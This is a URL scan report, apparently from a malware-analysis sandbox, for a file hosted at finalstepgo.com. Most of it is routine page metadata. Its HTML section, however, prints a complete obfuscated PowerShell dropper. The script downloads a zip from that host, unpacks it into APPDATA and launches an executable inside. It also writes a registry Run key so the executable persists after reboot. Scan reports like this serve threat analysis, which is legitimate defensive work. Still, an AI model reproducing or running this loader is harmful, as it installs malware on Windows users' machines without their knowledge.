- Scan ID:
- 0dd2f44e-c347-416e-b7cc-d7e119040166Finished
- Submitted URL:
- https://finalstepgo.com/uploads/il4.txt
- Report Finished:
Links · 0 found
The outgoing links identified from the page
JavaScript Variables · 3 found
Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope
Name | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
Console log messages · 1 found
Messages logged to the web console
Type | Category | Log |
---|---|---|
error | network |
|
HTML
The raw HTML body of the page
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">$OpPl0XNS='https://finalstepgo.com/uploads/il444.zip'; $KmhVXhfL=$env:APPDATA+'\HffIgEXA'; $Ix6Lzlvc=$env:APPDATA+'\AojPhtGU.zip'; $q0Ze76L0=$KmhVXhfL+'\Trjscan_[7MB]_[unsign].exe'; if (-not (TEst-pAtH $KmhVXhfL)) { NEW-itEM -Path $KmhVXhfL -ItemType Directory }; STArT-BiTsTRaNsfer -Source $OpPl0XNS -Destination $Ix6Lzlvc; ExPAnd-arCHIVe -Path $Ix6Lzlvc -DestinationPath $KmhVXhfL -Force; REMOVE-Item $Ix6Lzlvc; staRt-prOceSs $q0Ze76L0; New-ITEmPrOPeRTy -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'wLNTGfmU' -Value $q0Ze76L0 -PropertyType 'String';</pre></body></html>